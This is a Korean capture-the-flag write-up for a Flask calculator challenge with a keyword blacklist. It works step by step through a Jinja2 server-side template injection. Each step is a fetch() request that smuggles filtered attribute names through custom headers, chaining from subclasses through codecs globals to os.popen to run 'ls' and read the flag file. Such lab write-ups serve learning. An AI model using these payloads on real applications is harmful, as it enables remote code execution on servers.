
계산기가 있다.

from flask import Flask, render_template, render_template_string, request
import re
app = Flask (__name__)
@app.route('/')
def calc():
expression = request.args.get('expression')
filters = ["'","\\"","_","[","]",",","`","sys","os","flag","%","class","config","self","\\\\"]
request.args = None
try:
for filter in filters:
if filter in expression:
raise Exception("filterd")
result = render_template_string(f"{{{{{expression}}}}}")
except Exception as e:
result = ""
return render_template('index.html', result=result)
if __name__ == "__main__":
app.run(host='0.0.0.0', port='5000', debug=False)
render_template_string을 쓰고 있다. → SSTI!!
‘ ” _ [ ] , ` sys os flag % class config self \ → 상당히 많이 필터링되고 있다.
[WEB] SSTI (Server-Side Template Injection) for Jinja2

request.args를 None으로 설정하는 부분 때문에 args를 쓰지 못한다.
대신 request.headers를 사용할 수 있다!!

request.headers를 사용하는 예시들이다.
이제 headers에 내가 원하는 값을 하나씩 넣어보면서 시작해보자.
await fetch("<http://localhost/?expression=()|attr(request.headers.c)>", {
"credentials": "omit",
"headers": {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "none",
"Sec-Fetch-User": "?1",
"c" : "__class__"
},
"method": "GET",
"mode": "cors"
});

().__class__
await fetch("<http://localhost/?expression=()|attr(request.headers.c)|attr(request.headers.a)>", {
"credentials": "omit",
"headers": {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "none",
"Sec-Fetch-User": "?1",
"c" : "__class__",
"a" : "__mro__"
},
"method": "GET",
"mode": "cors"
});

().__class__.__mro__
await fetch("<http://localhost/?expression=()|attr(request.headers.a)|attr(request.headers.b)|attr(request.headers.c)(1)>", {
"credentials": "omit",
"headers": {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "none",
"Sec-Fetch-User": "?1",
"a" : "__class__",
"b" : "__mro__",
"c" : "__getitem__"
},
"method": "GET",
"mode": "cors"
});

().__class__.__mro__.__getitem__(1) == ().__class__.__mro__[1]
await fetch("<http://localhost/?expression=()|attr(request.headers.a)|attr(request.headers.b)|attr(request.headers.c)(1)|attr(request.headers.d)()>", {
"credentials": "omit",
"headers": {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "none",
"Sec-Fetch-User": "?1",
"a" : "__class__",
"b" : "__mro__",
"c" : "__getitem__",
"d" : "__subclasses__"
},
"method": "GET",
"mode": "cors"
});

().__class__.__mro__[1].__subclasses__()

441 가봤는데 없어서 그냥 이것저것 넣어보면서 찾아냈다.
await fetch("<http://localhost/?expression=()|attr(request.headers.a)|attr(request.headers.b)|attr(request.headers.c)(1)|attr(request.headers.d)()|attr(request.headers.c)(418)>", {
"credentials": "omit",
"headers": {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "none",
"Sec-Fetch-User": "?1",
"a" : "__class__",
"b" : "__mro__",
"c" : "__getitem__",
"d" : "__subclasses__"
},
"method": "GET",
"mode": "cors"
});

418번째에 있었다! ㅎㅎ..
Popen까지는 찾았는데, comma를 못 써가지고 (ls,shell=True, stdout=-1)을 넣을 방법이 없었다. 그래서 다른 방법을 찾다가

codecs.IncrementalDecoder를 찾았다!
그렇다고 한다.
아무튼 위의 코드를 이용해서 RCE를 해보자.
await fetch("<http://localhost/?expression=()|attr(request.headers.a)|attr(request.headers.b)|attr(request.headers.c)(1)|attr(request.headers.d)()|attr(request.headers.c)(103)>", {
"credentials": "omit",
"headers": {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux aarch64; rv:122.0) Gecko/20100101 Firefox/122.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "none",
"Sec-Fetch-User": "?1",
"a" : "__class__",
"b" : "__mro__",
"c" : "__getitem__",
"d" : "__subclasses__",
},
"method": "GET",
"mode": "cors"
});

().__class__.__mro__[1].__subclasses__()[103]
await fetch("<http://localhost/?expression=()|attr(request.headers.a)|attr(request.headers.b)|attr(request.headers.c)(1)|attr(request.headers.d)()|attr(request.headers.c)(103)|attr(request.headers.e)>", {
"credentials": "omit",
"headers": {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux aarch64; rv:122.0) Gecko/20100101 Firefox/122.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "none",
"Sec-Fetch-User": "?1",
"a" : "__class__",
"b" : "__mro__",
"c" : "__getitem__",
"d" : "__subclasses__",
"e" : "__init__"
},
"method": "GET",
"mode": "cors"
});

().__class__.__mro__[1].__subclasses__()[103].__init__
await fetch("<http://localhost/?expression=()|attr(request.headers.a)|attr(request.headers.b)|attr(request.headers.c)(1)|attr(request.headers.d)()|attr(request.headers.c)(103)|attr(request.headers.e)|attr(request.headers.f)>", {
"credentials": "omit",
"headers": {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux aarch64; rv:122.0) Gecko/20100101 Firefox/122.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "none",
"Sec-Fetch-User": "?1",
"a" : "__class__",
"b" : "__mro__",
"c" : "__getitem__",
"d" : "__subclasses__",
"e" : "__init__",
"f" : "__globals__"
},
"method": "GET",
"mode": "cors"
});
⛳ {‘name‘: ‘codecs’, ‘doc‘: ‘ codecs — Python Codec Registry, API and helpers.\n\n\nWritten by Marc-Andre Lemburg (mal@lemburg.com).\n\n(c) Copyright CNRI, All Rights Reserved. NO WARRANTY.\n\n’, ‘package‘: ”, ‘loader‘: …
‘license’: Type license() to see the full license text, ‘help’: Type help() for interactive help, or help(object) for help about object.}, ‘builtins’: <module ‘builtins’ (built-in)>, 'sys': <module 'sys' (built-in)>
, ‘register’: <built-in function register>, ‘lookup’: <built-in function lookup>, ‘encode’: <built-in function encode>, ‘decode’: <built-in function decode>,
… ‘backslashreplace_errors’: <built-in function backslashreplace_errors>, ‘namereplace_errors’: <built-in function namereplace_errors>, ‘_false’: 0}
().__class__.__mro__[1].__subclasses__()[103].__init__.__globals__
우리가 써야하는 sys가 보인다.
await fetch("<http://localhost/?expression=()|attr(request.headers.a)|attr(request.headers.b)|attr(request.headers.c)(1)|attr(request.headers.d)()|attr(request.headers.c)(103)|attr(request.headers.e)|attr(request.headers.f)|attr(request.headers.c)(request.headers.g)>", {
"credentials": "omit",
"headers": {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux aarch64; rv:122.0) Gecko/20100101 Firefox/122.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "none",
"Sec-Fetch-User": "?1",
"a" : "__class__",
"b" : "__mro__",
"c" : "__getitem__",
"d" : "__subclasses__",
"e" : "__init__",
"f" : "__globals__",
"g" : "sys",
},
"method": "GET",
"mode": "cors"
});

().__class__.__mro__[1].__subclasses__()[103].__init__.__globals__[’sys’]
await fetch("<http://localhost/?expression=()|attr(request.headers.a)|attr(request.headers.b)|attr(request.headers.c)(1)|attr(request.headers.d)()|attr(request.headers.c)(103)|attr(request.headers.e)|attr(request.headers.f)|attr(request.headers.c)(request.headers.g)|attr(request.headers.h)>", {
"credentials": "omit",
"headers": {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux aarch64; rv:122.0) Gecko/20100101 Firefox/122.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "none",
"Sec-Fetch-User": "?1",
"a" : "__class__",
"b" : "__mro__",
"c" : "__getitem__",
"d" : "__subclasses__",
"e" : "__init__",
"f" : "__globals__",
"g" : "sys",
"h" : "modules"
},
"method": "GET",
"mode": "cors"
});
⛳ {‘sys’: <module ‘sys’ (built-in)>, ‘builtins’: <module ‘builtins’ (built-in)>,
…
‘_abc’: <module ‘_abc’ (built-in)>, ‘site’: <module ‘site’ from ‘/usr/lib/python3.7/site.py’>, 'os': <module 'os' from '/usr/lib/python3.7/os.py'>
, ‘stat’: <module ‘stat’ from ‘/usr/lib/python3.7/stat.py’>, ‘_stat’: <module ‘_stat’ (built-in)>, ‘posixpath’: <module ‘posixpath’ from ‘/usr/lib/python3.7/posixpath.py’>,
…
, ‘jinja2.debug’: <module ‘jinja2.debug’ from ‘/usr/local/lib/python3.7/dist-packages/jinja2/debug.py’>}
().__class__.__mro__[1].__subclasses__()[103].__init__.__globals__[’sys’].modules
sys에는 os라는 모듈이 존재한다!
await fetch("<http://localhost/?expression=()|attr(request.headers.a)|attr(request.headers.b)|attr(request.headers.c)(1)|attr(request.headers.d)()|attr(request.headers.c)(103)|attr(request.headers.e)|attr(request.headers.f)|attr(request.headers.c)(request.headers.g)|attr(request.headers.h)|attr(request.headers.c)(request.headers.i)>", {
"credentials": "omit",
"headers": {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux aarch64; rv:122.0) Gecko/20100101 Firefox/122.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "none",
"Sec-Fetch-User": "?1",
"a" : "__class__",
"b" : "__mro__",
"c" : "__getitem__",
"d" : "__subclasses__",
"e" : "__init__",
"f" : "__globals__",
"g" : "sys",
"h" : "modules",
"i" : "os"
},
"method": "GET",
"mode": "cors"
});

().__class__.__mro__[1].__subclasses__()[103].__init__.__globals__[’sys’].modules[’os’]
await fetch("<http://localhost/?expression=()|attr(request.headers.a)|attr(request.headers.b)|attr(request.headers.c)(1)|attr(request.headers.d)()|attr(request.headers.c)(103)|attr(request.headers.e)|attr(request.headers.f)|attr(request.headers.c)(request.headers.g)|attr(request.headers.h)|attr(request.headers.c)(request.headers.i)|attr(request.headers.j)>", {
"credentials": "omit",
"headers": {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux aarch64; rv:122.0) Gecko/20100101 Firefox/122.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "none",
"Sec-Fetch-User": "?1",
"a" : "__class__",
"b" : "__mro__",
"c" : "__getitem__",
"d" : "__subclasses__",
"e" : "__init__",
"f" : "__globals__",
"g" : "sys",
"h" : "modules",
"i" : "os",
"j" : "popen"
},
"method": "GET",
"mode": "cors"
});

().__class__.__mro__[1].__subclasses__()[103].__init__.__globals__[’sys’].modules[’os’].popen
os 모듈에는 popen 함수가 존재한다.
await fetch("<http://localhost/?expression=()|attr(request.headers.a)|attr(request.headers.b)|attr(request.headers.c)(1)|attr(request.headers.d)()|attr(request.headers.c)(103)|attr(request.headers.e)|attr(request.headers.f)|attr(request.headers.c)(request.headers.g)|attr(request.headers.h)|attr(request.headers.c)(request.headers.i)|attr(request.headers.j)(request.headers.k)|attr(request.headers.l)()>", {
"credentials": "omit",
"headers": {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux aarch64; rv:122.0) Gecko/20100101 Firefox/122.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "none",
"Sec-Fetch-User": "?1",
"a" : "__class__",
"b" : "__mro__",
"c" : "__getitem__",
"d" : "__subclasses__",
"e" : "__init__",
"f" : "__globals__",
"g" : "sys",
"h" : "modules",
"i" : "os",
"j" : "popen",
"k" : "ls",
"l" : "read"
},
"method": "GET",
"mode": "cors"
});

().__class__.__mro__[1].__subclasses__()[103].__init__.__globals__[’sys’].modules[’os’].popen(’ls’).read()
ls가 실행되었다!!
await fetch("<http://localhost/?expression=()|attr(request.headers.a)|attr(request.headers.b)|attr(request.headers.c)(1)|attr(request.headers.d)()|attr(request.headers.c)(103)|attr(request.headers.e)|attr(request.headers.f)|attr(request.headers.c)(request.headers.g)|attr(request.headers.h)|attr(request.headers.c)(request.headers.i)|attr(request.headers.j)(request.headers.k)|attr(request.headers.l)()>", {
"credentials": "omit",
"headers": {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux aarch64; rv:122.0) Gecko/20100101 Firefox/122.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "none",
"Sec-Fetch-User": "?1",
"a" : "__class__",
"b" : "__mro__",
"c" : "__getitem__",
"d" : "__subclasses__",
"e" : "__init__",
"f" : "__globals__",
"g" : "sys",
"h" : "modules",
"i" : "os",
"j" : "popen",
"k" : "cat ./secret/flag.txt",
"l" : "read"
},
"method": "GET",
"mode": "cors"
});

cat ./secret/flag.txt로 flag를 읽으면 끝!
with
“headers”: { … “a” : “class“, “b” : “mro“, “c” : “getitem“, “d” : “subclasses“, “e” : “init“, “f” : “globals“, “g” : “sys”, “h” : “modules”, “i” : “os”, “j” : “popen”, “k” : “cat ./secret/flag.txt”, “l” : “read” },
⇒
http://localhost/?expression=().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(103).__init__.__globals__.__getitem__(’sys’).modules.__getitem__(’os’).popen(’cat ./secret/flag.txt’).read() “ ⇒
http://localhost/?expression=().__class__.__mro__[1].__subclasses__()[103].__init__.__globals__[’sys’].modules[’os’].popen(’cat ./secret/flag.txt’).read()